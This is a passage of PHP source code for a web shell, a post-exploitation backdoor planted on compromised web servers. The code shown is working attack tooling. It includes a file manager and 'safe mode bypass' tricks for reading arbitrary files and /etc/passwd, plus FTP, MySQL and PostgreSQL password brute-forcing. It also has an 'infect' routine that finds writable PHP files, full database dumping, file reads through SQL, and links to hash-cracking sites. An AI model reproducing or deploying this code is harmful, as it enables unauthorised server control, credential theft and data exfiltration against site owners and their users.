                $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                    $files[] = array_merge($tmp, array('type' => 'file'));
                } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                    $dirs[] = array_merge($tmp, array('type' => 'dir'));
                }
            }
            $GLOBALS['sort'] = $sort;
            function cmp($a, $b)
            {
                if ($GLOBALS['sort'][0] != 'size') {
                    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
                } else {
                    return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                }
            }
            usort($files, "cmp");
            usort($dirs, "cmp");
            $files = array_merge($dirs, $files);
            $l = 0;
            foreach ($files as $f) {
                echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                $l = $l ? 0 : 1;
            }
            echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
            }
            echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
            if (class_exists('ZipArchive')) {
                echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
            }
            echo "<option value='tar'>+ tar.gz</option>";
            echo "</select></label>";
            if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
            }
            echo "<input type='submit' value='submit'></td></tr></form></table></div>";
            hardFooter();
        }
        function actionStringTools()
        {
            if (!function_exists('hex2bin')) {
                function hex2bin($p)
                {
                    return decbin(hexdec($p));
                }
            }
            if (!function_exists('binhex')) {
                function binhex($p)
                {
                    return dechex(bindec($p));
                }
            }
            if (!function_exists('hex2ascii')) {
                function hex2ascii($p)
                {
                    $r = '';
                    for ($i = 0; $i < strLen($p); $i += 2) {
                        $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                    }
                    return $r;
                }
            }
            if (!function_exists('ascii2hex')) {
                function ascii2hex($p)
                {
                    $r = '';
                    for ($i = 0; $i < strlen($p); ++$i) {
                        $r .= sprintf('%02X', ord($p[$i]));
                    }
                    return strtoupper($r);
                }
            }
            if (!function_exists('full_urlencode')) {
                function full_urlencode($p)
                {
                    $r = '';
                    for ($i = 0; $i < strlen($p); ++$i) {
                        $r .= '%' . dechex(ord($p[$i]));
                    }
                    return strtoupper($r);
                }
            }
            $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
            if (isset($_POST['ajax'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                ob_start();
                if (in_array($_POST['p1'], $stringTools)) {
                    echo $_POST['p1']($_POST['p2']);
                }
                $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
                echo strlen($temp), "\n", $temp;
                exit;
            }
            if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
            }
            hardHeader();
            echo "<h1>String conversions</h1><div class=content>";
            echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
            foreach ($stringTools as $k => $v) {
                echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
            }
            echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
            if (!empty($_POST['p1'])) {
                if (in_array($_POST['p1'], $stringTools)) {
                    echo htmlspecialchars($_POST['p1']($_POST['p2']));
                }
            }
            echo "</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\r\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\r\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\r\n\t\t\t</table></form>";
            function hardRecursiveGlob($path)
            {
                if (substr($path, -1) != '/') {
                    $path .= '/';
                }
                $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
                if (is_array($paths) && @count($paths)) {
                    foreach ($paths as $▟) {
                        if (@is_dir($▟)) {
                            if ($path != $▟) {
                                hardRecursiveGlob($▟);
                            }
                        } else {
                            if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
                                echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
                            }
                        }
                    }
                }
            }
            if (@$_POST['p3']) {
                hardRecursiveGlob($_POST['c']);
            }
            echo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method='post' target='_blank' name='hf'>\r\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\r\n            <input type='hidden' name='act' value='find'/>\r\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='https://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\r\n            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='https://www.fakenamegenerator.com/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='https://www.hashcrack.com/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='toolki.com' onclick=\"document.hf.action='https://toolki.com/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='https://fopo.com.ar/';document.hf.submit()\"><br>\r\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\"><br>\r\n\t\t</form></div>";
            hardFooter();
        }
        function actionSafeMode()
        {
            $temp = '';
            ob_start();
            switch ($_POST['p1']) {
                case 1:
                    $temp = @tempnam($test, 'cx');
                    if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                        echo @file_get_contents($temp);
                        unlink($temp);
                    } else {
                        echo "Sorry... Can't open file";
                    }
                    break;
                case 2:
                    $files = glob($_POST['p2'] . '*');
                    if (is_array($files)) {
                        foreach ($files as $filename) {
                            echo $filename . "\n";
                        }
                    }
                    break;
                case 3:
                    $ch = curl_init("file://" . $_POST['p2'] . "\x00" . SELF_PATH);
                    curl_exec($ch);
                    break;
                case 4:
                    ini_restore("safe_mode");
                    ini_restore("open_basedir");
                    include $_POST['p2'];
                    break;
                case 5:
                    for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid) {
                            echo join(':', $uid) . "\n";
                        }
                    }
                    break;
                case 6:
                    if (!function_exists('imap_open')) {
                        break;
                    }
                    $stream = imap_open($_POST['p2'], "", "");
                    if ($stream == FALSE) {
                        break;
                    }
                    echo imap_body($stream, 1);
                    imap_close($stream);
                    break;
            }
            $temp = ob_get_clean();
            hardHeader();
            echo "<h1>Safe mode bypass</h1><div class=content>";
            echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,\"6\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"submit\"></form>";
            if ($temp) {
                echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
            }
            echo "</div>";
            hardFooter();
        }
        function actionLogout()
        {
            setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
            die('bye!');
        }
        function actionSelfRemove()
        {
            if ($_POST['p1'] == 'yes') {
                if (@unlink("/var/www/html/hahaha.php.35e54553f4d39edea5d76b3205f1e714.bin")) {
                    die('Shell has been removed');
                } else {
                    echo "unlink error!";
                }
            }
            if ($_POST['p1'] != 'yes') {
                hardHeader();
            }
            echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
            hardFooter();
        }
        function actionInfect()
        {
            hardHeader();
            echo "<h1>Infect</h1><div class=content>";
            if ($_POST['p1'] == 'infect') {
                $target = $_SERVER['DOCUMENT_ROOT'];
                function ListFiles($dir)
                {
                    if ($dh = opendir($dir)) {
                        $files = array();
                        $inner_files = array();
                        while ($file = readdir($dh)) {
                            if ($file != "." && $file != "..") {
                                if (is_dir($dir . "/" . $file)) {
                                    $inner_files = ListFiles($dir . "/" . $file);
                                    if (is_array($inner_files)) {
                                        $files = array_merge($files, $inner_files);
                                    }
                                } else {
                                    array_push($files, $dir . "/" . $file);
                                }
                            }
                        }
                        closedir($dh);
                        return $files;
                    }
                }
                foreach (ListFiles($target) as $key => $file) {
                    $nFile = substr($file, -4, 4);
                    if ($nFile == ".php") {
                        if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
                            echo "{$file}<br>";
                            $i++;
                        }
                    }
                }
                echo "<font color=red size=14>{$i}</font>";
            } else {
                echo "<form method=post><input type=submit value=Infect name=infet></form>";
                echo "Really want to infect the server?&nbsp;<a href=# onclick=\"g(null,null,'infect')\">Yes</a></div>";
            }
            hardFooter();
        }
        function actionBruteforce()
        {
            hardHeader();
            if (isset($_POST['proto'])) {
                echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
                if ($_POST['proto'] == 'ftp') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $fp = @ftp_connect($ip, $port ? $port : 21);
                        if (!$fp) {
                            return false;
                        }
                        $res = @ftp_login($fp, $login, $pass);
                        @ftp_close($fp);
                        return $res;
                    }
                } elseif ($_POST['proto'] == 'mysql') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                        @mysql_close($res);
                        return $res;
                    }
                } elseif ($_POST['proto'] == 'pgsql') {
                    function bruteForce($ip, $port, $login, $pass)
                    {
                        $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                        $res = @pg_connect($str);
                        @pg_close($res);
                        return $res;
                    }
                }
                $success = 0;
                $attempts = 0;
                $server = explode(":", $_POST['server']);
                if ($_POST['type'] == 1) {
                    $temp = @file('/etc/passwd');
                    if (is_array($temp)) {
                        foreach ($temp as $line) {
                            $line = explode(":", $line);
                            ++$attempts;
                            if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                            }
                            if (@$_POST['reverse']) {
                                $tmp = "";
                                for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                                    $tmp .= $line[0][$i];
                                }
                                ++$attempts;
                                if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                    $success++;
                                    echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                                }
                            }
                        }
                    }
                } elseif ($_POST['type'] == 2) {
                    $temp = @file($_POST['dict']);
                    if (is_array($temp)) {
                        foreach ($temp as $line) {
                            $line = trim($line);
                            ++$attempts;
                            if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                            }
                        }
                    }
                }
                echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
            }
            echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
            echo "</div>";
            hardFooter();
        }
        function actionSql()
        {
            class DbClass
            {
                var $type;
                var $link;
                var $res;
                function __Constructor($type)
                {
                    $this->type = $type;
                }
                function connect($host, $user, $pass, $dbname)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                                return true;
                            }
                            break;
                        case 'pgsql':
                            $host = explode(':', $host);
                            if (!$host[1]) {
                                $host[1] = 5432;
                            }
                            if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                                return true;
                            }
                            break;
                    }
                    return false;
                }
                function selectdb($db)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if (@mysql_select_db($db)) {
                                return true;
                            }
                            break;
                    }
                    return false;
                }
                function query($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->res = @mysql_query($str);
                        case 'pgsql':
                            return $this->res = @pg_query($this->link, $str);
                    }
                    return false;
                }
                function fetch()
                {
                    $res = func_num_args() ? func_get_arg(0) : $this->res;
                    switch ($this->type) {
                        case 'mysql':
                            return @mysql_fetch_assoc($res);
                        case 'pgsql':
                            return @pg_fetch_assoc($res);
                    }
                    return false;
                }
                function listDbs()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->query("SHOW databases");
                        case 'pgsql':
                            return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                    }
                    return false;
                }
                function listTables()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->res = $this->query('SHOW TABLES');
                        case 'pgsql':
                            return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                    }
                    return false;
                }
                function error()
                {
                    switch ($this->type) {
                        case 'mysql':
                            return @mysql_error();
                        case 'pgsql':
                            return @pg_last_error();
                    }
                    return false;
                }
                function setCharset($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            if (function_exists('mysql_set_charset')) {
                                return @mysql_set_charset($str, $this->link);
                            } else {
                                $this->query('SET CHARSET ' . $str);
                            }
                            break;
                        case 'pgsql':
                            return @pg_set_client_encoding($this->link, $str);
                    }
                    return false;
                }
                function loadFile($str)
                {
                    switch ($this->type) {
                        case 'mysql':
                            return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                        case 'pgsql':
                            $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                            $r = array();
                            while ($i = $this->fetch()) {
                                $r[] = $i['file'];
                            }
                            $this->query('drop table hard2');
                            return array('file' => implode("\n", $r));
                    }
                    return false;
                }
                function dump($table, $fp = false)
                {
                    switch ($this->type) {
                        case 'mysql':
                            $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                            $create = mysql_fetch_array($res);
                            $sql = $create[1] . ";\n";
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                            $this->query('SELECT * FROM `' . $table . '`');
                            $i = 0;
                            $head = true;
                            while ($▟ = $this->fetch()) {
                                $sql = '';
                                if ($i % 1000 == 0) {
                                    $head = true;
                                    $sql = ";\n\n";
                                }
                                $columns = array();
                                foreach ($▟ as $k => $v) {
                                    if ($v === null) {
                                        $▟[$k] = "NULL";
                                    } elseif (is_int($v)) {
                                        $▟[$k] = $v;
                                    } else {
                                        $▟[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                    }
                                    $columns[] = "`" . $k . "`";
                                }
                                if ($head) {
                                    $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $▟) . ')';
                                    $head = false;
                                } else {
                                    $sql .= "\n\t,(" . implode(", ", $▟) . ')';
                                }
                                if ($fp) {
                                    fwrite($fp, $sql);
                                } else {
                                    echo $sql;
                                }
                                $i++;
                            }
                            if (!$head) {
                                if ($fp) {
                                    fwrite($fp, ";\n\n");
                                } else {
                                    echo ";\n\n";
                                }
                            }
                            break;
                        case 'pgsql':
                            $this->query('SELECT * FROM ' . $table);
                            while ($▟ = $this->fetch()) {
                                $columns = array();
                                foreach ($▟ as $k => $v) {
                                    $▟[$k] = "'" . addslashes($v) . "'";
                                    $columns[] = $k;
                                }
                                $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n";
                                if ($fp) {
                                    fwrite($fp, $sql);
                                } else {
                                    echo $sql;
                                }
                            }
                            break;
                    }
                    return false;
                }
            }
            $db = new DbClass($_POST['type']);
            if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
                $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
                $db->selectdb($_POST['sql_base']);
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                if (empty($_POST['file'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=dump.sql");
                    header("Content-Type: text/plain");
                    foreach ($_POST['tbl'] as $v) {
                        $db->dump($v);
                    }
                    exit;
                } elseif ($fp = @fopen($_POST['file'], 'w')) {
                    foreach ($_POST['tbl'] as $v) {
                        $db->dump($v, $fp);
                    }
                    fclose($fp);
                    unset($_POST['p2']);
                } else {
                    die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                }
            }
            hardHeader();
            echo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<td><label><select name='type'><option value='mysql' ";
            if (@$_POST['type'] == 'mysql') {
                echo "selected";
            }
            echo ">MySql</option><option value='pgsql' ";
            if (@$_POST['type'] == 'pgsql') {
                echo "selected";
            }
            echo ">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\r\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\r\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
            $tmp = "<input type=text name=sql_base value=''>";
            if (isset($_POST['sql_host'])) {
                if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                    switch ($_POST['charset']) {
                        case "Windows-1251":
                            $db->setCharset('cp1251');
                            break;
                        case "UTF-8":
                            $db->setCharset('utf8');
                            break;
                        case "KOI8-R":
                            $db->setCharset('koi8r');
                            break;
                        case "KOI8-U":
                            $db->setCharset('koi8u');
                            break;
                        case "cp866":
                            $db->setCharset('cp866');
                            break;
                    }
                    $db->listDbs();
                    echo "<label><select name=sql_base><option value=''></option>";
                    while ($▟ = $db->fetch()) {
                        list($key, $value) = each($▟);
                        echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                    }
                    echo "</select></label>";
                } else {
                    echo $tmp;
                }
            } else {
                echo $tmp;
            }
            echo "</td>\r\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\r\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n            s_db='" . @addslashes($_POST['sql_base']) . "';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value='';\r\n                    if(f.p2) f.p2.value='';\r\n                    if(f.p3) f.p3.value='';\r\n                }\r\n            }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = 'select';\r\n\t\t\t\td.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\r\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";
            if (isset($db) && $db->link) {
                echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                if (!empty($_POST['sql_base'])) {
                    $db->selectdb($_POST['sql_base']);
                    echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                    $tbls_res = $db->listTables();
                    while ($▟ = $db->fetch($tbls_res)) {
                        list($key, $value) = each($▟);
                        if (!empty($_POST['sql_count'])) {
                            $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                        }
                        $value = htmlspecialchars($value);
                        echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                    }
                    echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                    if (@$_POST['p1'] == 'select') {
                        $_POST['p1'] = 'query';
                        $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                        $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                        $num = $db->fetch();
                        $pages = ceil($num['n'] / 30);
                        echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                        echo " of {$pages}";
                        if ($_POST['p3'] > 1) {
                            echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                        }
                        if ($_POST['p3'] < $pages) {
                            echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                        }
                        $_POST['p3']--;
                        if ($_POST['type'] == 'pgsql') {
                            $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                        } else {
                            $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                        }
                        echo "<br><br>";
                    }
                    if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                        $db->query(@$_POST['p2']);
                        if ($db->res !== false) {
                            $title = false;
                            echo "<table width=100% cellspacing=1 cellpadding=2 class=main>";
                            $line = 1;
                            while ($▟ = $db->fetch()) {
                                if (!$title) {
                                    echo "<tr>";
                                    foreach ($▟ as $key => $value) {
                                        echo '<th>' . $key . '</th>';
                                    }
                                    reset($▟);
                                    $title = true;
                                    echo "</tr><tr>";
                                    $line = 2;
                                }
                                echo '<tr class="l' . $line . '">';
                                $line = $line == 1 ? 2 : 1;
                                foreach ($▟ as $key => $value) {
                                    if ($value == null) {
                                        echo "<td><i>null</i></td>";
                                    } else {
